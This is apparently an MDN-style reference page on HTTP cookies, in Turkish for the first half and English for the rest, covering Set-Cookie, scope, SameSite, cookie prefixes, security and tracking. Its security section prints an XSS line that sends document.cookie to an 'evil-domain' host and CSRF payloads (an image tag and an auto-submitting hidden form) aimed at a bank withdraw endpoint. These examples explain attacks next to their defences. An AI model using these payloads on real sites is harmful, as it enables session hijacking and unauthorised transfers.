HTTP çerezleri

HTTP çerezi (web çerezi, tarayıcı çerezi), bir sunucunun kullanıcının web tarayıcısına gönderdiği küçük bir veri parçasıdır. Tarayıcı bunu saklayabilir ve bir sonraki istekle aynı sunucuya geri gönderebilir. Genellikle, iki ayrı isteğin aynı tarayıcıdan gelip gelmediğini anlamak için kullanılır - örneğin bir kullanıcının giriş yapmış olarak kalması gibi. HTTP protokolü durumsuz (stateless) olduğu için çerez durum bilgisini hatırlar.

Çerezler temel olarak üç amaç için kullanılır:

Oturum yönetimi
Girişler, alışveriş sepetleri, oyun puanları veya sunucunun hatırlaması gereken diğer şeyler
Kişiselleştirme
Kullanıcı tercihleri, temalar ve diğer ayarlar
Takip etme
Kullanıcı davranışını kaydetme ve analiz etme

Çerezler eskiden genel istemci tarafında depolama amaçlı kullanılmıştır. O zamanlar istemcide veri depolamanın tek yolu bu olduğundan çerez kullanımı mantıklı idi; ancak günümüzde modern depolama API'lerini tercih etmeleri önerilir. Çerezler her istekle birlikte gönderilir, bu yüzden performansı düşürebilirler (özellikle mobil veri bağlantıları için). İstemci depolaması için kullanılan modern API'ler Web storage API (localStorage ve sessionStorage) ve IndexedDB'dir.

Depolanmış çerezleri (ve bir web sayfasının kullanabileceği diğer depoları) görmek için, Geliştirici Araçları'nda Depolama Denetçisi'ni (Storage Inspector) etkinleştirebilir ve depolama ağacından Çerezler'i seçebilirsiniz.

Çerez oluşturma

Bir HTTP isteği aldığında, sunucu yanıtla beraber bir Set-Cookie başlığı gönderebilir. Bu çerez genellikle tarayıcı tarafından depolanır ve daha sonra aynı sunucuya yapılan isteklerde Cookie HTTP başlığı içinde gönderilir. Son kullanma tarihi veya kullanım süresi tanımlanabilir, bu süre bitiminde artık çerez gönderilmez. Buna ilaveten, çerezin gönderildiği yeri sınırlayacak belirli bir alan(domain) ve yol(path) için kısıtlamalar konulabilir.

The Set-Cookie HTTP yanıt başlığı, sunucudan kullanıcı programa çerezleri gönderir. Basit bir çerez şöyle ayarlanır: :

Set-Cookie: <cookie-adı>=<cookie-değeri>

Sunucudan gelen bu başlık istemciye bir çerezi kaydetmesini söyler.

Not: Set-Cookie başlığı çeşitli sunucu tarafı uygulamalarda şöyle kullanılır:
HTTP/2.0 200 OK
Content-type: text/html
Set-Cookie: skor=75
Set-Cookie: tema=dark

[page content]

Artık tarayıcı sunucuya yaptığı her yeni istekte daha önce kaydetmiş olduğu tüm çerezleri Cookie başlığını kullanarak geri gönderir.

GET /sample_page.html HTTP/2.0
Host: www.example.org
Cookie: skor=75; tema=dark

Oturum çerezleri

Yukarıda oluşturulan çerez bir oturum çerezidir: istemci kapandığında silinir, çünkü bir Expires veya Max-Age direktifi belirtmemiştir. Ancak web tarayıcıları oturum canlandırma (session restoring) özelliğini kullanarak çoğu oturum çerezini sanki tarayıcı hiç kapatılmamış gibi kalıcı yapabilirler.

Kalıcı çerezler

Kalıcı çerezler, istemci kapandığında zaman aşımına uğramak yerine, belirli bir tarihte (Expires) veya belirli bir süre sonra (Max-Age) kullanımdan kalkar.

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

Not: Son kullanma tarihi belirtildiğinde, saat ve tarih sunucuya göre değil, çerezi tanımlayan istemciye göre ayarlanır.

Secure ve HttpOnly çerezleri

Güvenli bir çerez, sunucuya yalnızca HTTPS protokolü üzerinden şifrelenmiş bir istekle gönderilebilir. Secure bayrağı bile olsa, hassas bilgiler asla çerezlerde saklanmamalıdır; çünkü çerezler doğası gereği güvenli değildir ve bu bayrak gerçek bir koruma sağlayamaz. Chrome 52 ve Firefox 52'den itibaren, güvensiz siteler (http:) Secure direktifi ile çerezleri ayarlayamamaktadır.

Siteler arası komut dosyası çalıştırma (XSS) saldırılarını önlemek için, HttpOnly çerezlerine JavaScript'in Document.cookie API'sinden erişilemez; bu çerezler sadece sunucuya gönderilir. Örneğin, sunucu tarafı oturumlarını devam ettiren çerezlerin JavaScript'ten erşilebilir olması gerekmez, ve bunlarda HttpOnly bayrağı ayarlanmalıdır.

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

Çerezlerin kapsamı

Domain ve Path direktifleri çerezin kapsamını yani hangi URL'lere gönderilmesi gerektiğini tanımlar.

Domain çerezlerin alınmasına izin verilen ana bilgisayarları(host) belirtir. Eğer belirtilmemişse varsayılan değeri alt alanlar hariç şu anki belge konumundaki ana bilgisayardır (host of the current document location). Eğer Domain belirtilmişse, alt alanlar her zaman dahil edilir.

Örneğin, Domain=mozilla.org belirtilmişse, çerezler developer.mozilla.org gibi alt alanlarda dahil edilir.

Path, Cookie başlığını gönderebilmek için istenen URL'de bulunması gereken URL yolunu gösterir. %X2F ("/") karakteri dizin ayırıcı olarak kabul edilir ve alt dizinler de eşleşir.

Örneğin, Path=/docs belirtilmişse, şu yollar eşleşecektir:

  • /docs
  • /docs/Web/
  • /docs/Web/HTTP

SameSite çerezleri

SameSite çerezleri, sunucuların siteler arası yapılan isteklerde (buradaki Site tescilli etki alanı tarafından tanımlıdır) çerez gönderimini engellemesini sağlar, bu da siteler arası sahtecilik saldırılarına (CSRF) karşı bir miktar koruma sağlar.

SameSite çerezleri nispeten yenidir ve tüm büyük tarayıcılar tarafından desteklenmektedir.

Örnek:

Set-Cookie: key=value; SameSite=Strict

SameSite özelliği şu iki değerden birini alabilir (büyük/küçük harf duyarlı değil):

Strict
Same-site çerezi bu özelliğe sahipse, tarayıcı yalnızca istek çerezleri oluşturan web sitesinden geldiğinde çerezleri gönderir. Eğer istek şu anki konumun URL’sinden farklı bir URL’den geldiyse, Strict özelliği ile etiketlenen çerezlerin hiçbiri isteğe dahil edilmez.
Lax
Same-site değeri Lax olarak ayarlanmışsa, resim veya frame yüklemek için yapılan aramalar gibi siteler arası alt isteklerde same-site çerezleri bekletilir; ancak kullanıcı URL’ye harici bir siteden, örneğin bir bağlantıyı takip ederek gelmişse gönderilir.

Bayrak belirtilmemişse veya tarayıcı tarafından desteklenmiyorsa, varsayılan davranış, çerezleri farklı kaynaklı istekler (cross-origin requests) de dahil her isteğe dahil etmektir.

The design of the cookie mechanism is such that a server is unable to confirm a cookie was set on a secure origin or indeed, tell where a cookie was originally set. Recall that a subdomain such as application.example.com can set a cookie that will be sent with requests to example.com or other sub-domains by setting the Domain attribute:

Set-Cookie: CSRF=e8b667; Secure; Domain=example.com

If a vulnerable application is available on a sub-domain, this mechanism can be abused in a session fixation attack. When the user visits a page on the parent domain (or another subdomain), the application may trust the existing value sent in the user's cookie. This could allow an attacker to bypass CSRF protection or hijack a session after the user logs in.

Alternatively, if the parent domain does not use HSTS with includeSubdomains set, a user subject to an active MitM (perhaps connected to an open WiFi network) could be served a response with a Set-Cookie header from a non-existent sub-domain. The end result would be much the same, with the browser storing the illegitimate cookie and sending it to all other pages under example.com.

Session fixation should primarily be mitigated by regenerating session cookie values when the user authenticates (even if a cookie already exists) and by tieing any CSRF token to the user. As a defence in depth measure, however, it is possible to use cookie prefixes to assert specific facts about the cookie. Two prefixes are available:

__Host-
If a cookie name has this prefix, it will only be accepted in a Set-Cookie directive if it is marked Secure, does not include a Domain attribute and was sent from a secure origin. In this way, these cookies can be seen as "domain-locked".
__Secure-
If a cookie name has this prefix, it will only be accepted in a Set-Cookie directive if it is marked Secure and was sent from a secure origin. This is weaker than the __Host- prefix.

Cookies sent which are not compliant will be rejected by the browser. Note that this ensures that if a sub-domain were to create a cookie with this name, it would be either be confined to the sub-domain or ignored completely. As the application server will only check for a specific cookie name when determining if the user is authenticated or a CSRF token is correct, this effectively acts as a defence measure against session fixation.

On the application server, the web application must check for the full cookie name including the prefix—user agents will not strip the prefix from the cookie before sending it in a request's Cookie header.

For more information about cookie prefixes and the current state of browser support, see the Set-Cookie section.

JavaScript access using Document.cookie

New cookies can also be created via JavaScript using the Document.cookie property, and if the HttpOnly flag is not set, existing cookies can be accessed from JavaScript as well.

document.cookie = "yummy_cookie=choco"; 
document.cookie = "tasty_cookie=strawberry"; 
console.log(document.cookie); 
// logs "yummy_cookie=choco; tasty_cookie=strawberry"

Cookies created via JavaScript cannot include the HttpOnly flag.

Please note the security issues in the Security section below. Cookies available to JavaScript can be stolen through XSS.

Security

Information should be stored in cookies with the understanding that all cookie values will be visible to and can be changed by the end-user. Depending on the application, it may be desirable to use an opaque identifier which is looked-up server-side or investigate alternative authentication/confidentiality mechanisms such as JSON Web Tokens.

Session hijacking and XSS

Cookies are often used in web application to identify a user and their authenticated session, so stealing a cookie can lead to hijacking the authenticated user's session. Common ways to steal cookies include Social Engineering or exploiting an XSS vulnerability in the application.

(new Image()).src = "http://www.evil-domain.com/steal-cookie?cookie=" + document.cookie;

The HttpOnly cookie attribute can help to mitigate this attack by preventing access to cookie value through JavaScript. Exfiltration avenues can be limited by deploying a strict Content-Security-Policy.

Cross-site request forgery (CSRF)

Wikipedia mentions a good example for CSRF. In this situation, someone includes an image that isn’t really an image (for example in an unfiltered chat or forum), instead it really is a request to your bank’s server to withdraw money:

<img src="https://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

Now, if you are logged into your bank account and your cookies are still valid (and there is no other validation), you will transfer money as soon as you load the HTML that contains this image. For endpoints that require a POST request, it's possible to programmatically trigger a <form> submit (perhaps in an invisible <iframe>) when the page is loaded:

<form action="https://bank.example.com/withdraw" method="POST">
  <input type="hidden" name="account" value="bob">
  <input type="hidden" name="amount" value="1000000">
  <input type="hidden" name="for" value="mallory">
</form>
<script>window.addEventListener('DOMContentLoaded', (e) => { document.querySelector('form').submit(); }</script>

There are a few techniques that should be used to prevent this from happening:

  • GET endpoints should be idempotent—actions that enact a change and do not simply retrieve data should require sending a POST (or other HTTP method) request. POST endpoints should not interchangeably accept GET requests with parameters in the query string.
  • A CSRF token should be included in <form> elements via a hidden input field. This token should be unique per user and stored (for example, in a cookie) such that the server can look up the expected value when the request is sent. For all non-GET requests that have the potential to perform an action, this input field should be compared against the expected value. If there is a mismatch, the request should be aborted.
    • This method of protection relies on an attacker being unable to predict the user's assigned CSRF token. The token should be regenerated on sign-in.
  • Cookies that are used for sensitive actions (such as session cookies) should have a short lifetime with the SameSite attribute set to Strict or Lax. (See SameSite cookies above). In supporting browsers, this will have the effect of ensuring that the session cookie is not sent along with cross-site requests and so the request is effectively unauthenticated to the application server.
  • Both CSRF tokens and SameSite cookies should be deployed. This ensures all browsers are protected and provides protection where SameSite cookies cannot help (such as attacks originating from a separate subdomain).
  • For more prevention tips, see the OWASP CSRF prevention cheat sheet.

Tracking and privacy

Third-party cookies

Cookies have a domain associated to them. If this domain is the same as the domain of the page you are on, the cookies is said to be a first-party cookie. If the domain is different, it is said to be a third-party cookie. While first-party cookies are sent only to the server setting them, a web page may contain images or other components stored on servers in other domains (like ad banners). Cookies that are sent through these third-party components are called third-party cookies and are mainly used for advertising and tracking across the web. See for example the types of cookies used by Google. Most browsers allow third-party cookies by default, but there are add-ons available to block them (for example, Privacy Badger by the EFF).

If you are not disclosing third-party cookies, consumer trust might get harmed if cookie use is discovered. A clear disclosure (such as in a privacy policy) tends to eliminate any negative effects of a cookie discovery. Some countries also have legislation about cookies. See for example Wikimedia Foundation's cookie statement.

Do-Not-Track

There are no legal or technological requirements for its use, but the DNT header can be used to signal that a web application should disable either its tracking or cross-site user tracking of an individual user. See the DNT header for more information.

Requirements for cookies across the EU are defined in Directive 2009/136/EC of the European Parliament and came into effect on 25 May 2011. A directive is not a law by itself, but a requirement for EU member states to put laws in place that meet the requirements of the directive. The actual laws can differ from country to country.

In short the EU directive means that before somebody can store or retrieve any information from a computer, mobile phone or other device, the user must give informed consent to do so. Many websites have added banners (AKA "cookie banners") since then to inform the user about the use of cookies.

For more, see this Wikipedia section and consult state laws for the latest and most accurate information.

Zombie cookies and Evercookies

A more radical approach to cookies are zombie cookies or "Evercookies" which are recreated after their deletion and are intentionally hard to delete forever. They are using the Web storage API, Flash Local Shared Objects and other techniques to recreate themselves whenever the cookie's absence is detected.

Bakınız